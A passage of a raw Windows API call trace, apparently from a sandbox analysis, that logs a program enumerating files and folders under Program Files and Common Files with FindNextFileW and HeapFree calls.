ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0245.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.747] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0245.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.747] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0245.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.747] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0245.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.747] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0245.748] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.748] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0245.748] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.748] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0245.748] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.748] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0245.748] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.748] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0245.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.749] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0245.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.749] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0245.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.749] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0245.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.749] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0245.750] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.750] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0245.750] FindClose (in: hFindFile=0x60eaf0 | out: hFindFile=0x60eaf0) returned 1 [0245.750] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.751] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0245.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.755] FindNextFileW (in: hFindFile=0x60eff0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0245.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.755] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0245.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4130068 | out: hHeap=0x520000) returned 1 [0245.756] FindNextFileW (in: hFindFile=0x60ebf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0245.756] FindClose (in: hFindFile=0x60ebf0 | out: hFindFile=0x60ebf0) returned 1 [0245.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.756] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0245.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.757] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0245.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.757] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0245.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.912] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="TextConv", cAlternateFileName="")) returned 1 [0245.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.913] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="en-US", cAlternateFileName="")) returned 0 [0245.913] FindClose (in: hFindFile=0x60efb0 | out: hFindFile=0x60efb0) returned 1 [0245.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.913] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="Triedit", cAlternateFileName="")) returned 1 [0245.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.913] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="en-US", cAlternateFileName="")) returned 0 [0245.913] FindClose (in: hFindFile=0x60efb0 | out: hFindFile=0x60efb0) returned 1 [0245.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.913] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="VC", cAlternateFileName="")) returned 1 [0245.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.913] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="VGX", cAlternateFileName="")) returned 1 [0245.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.913] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="VSTO", cAlternateFileName="")) returned 1 [0245.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41950b0 | out: hHeap=0x520000) returned 1 [0245.914] FindNextFileW (in: hFindFile=0x60ec70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x1bfa, dwReserved1=0xffffee13, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0245.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.914] FindNextFileW (in: hFindFile=0x60ed70, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0xffffdb1b, dwReserved1=0x50c, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0245.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4120060 | out: hHeap=0x520000) returned 1 [0245.915] FindNextFileW (in: hFindFile=0x60ee70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="VSTO", cAlternateFileName="")) returned 0 [0245.915] FindClose (in: hFindFile=0x60ee70 | out: hFindFile=0x60ee70) returned 1 [0245.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.915] FindNextFileW (in: hFindFile=0x60e970, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="Services", cAlternateFileName="")) returned 1 [0245.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.916] FindNextFileW (in: hFindFile=0x60e970, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="System", cAlternateFileName="")) returned 1 [0245.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.916] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0245.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.917] FindNextFileW (in: hFindFile=0x60ea70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0245.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.917] FindNextFileW (in: hFindFile=0x60ea70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="msadc", cAlternateFileName="")) returned 1 [0245.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.917] FindNextFileW (in: hFindFile=0x60ec70, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0245.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.918] FindNextFileW (in: hFindFile=0x60ea70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0245.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.918] FindNextFileW (in: hFindFile=0x60edf0, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, 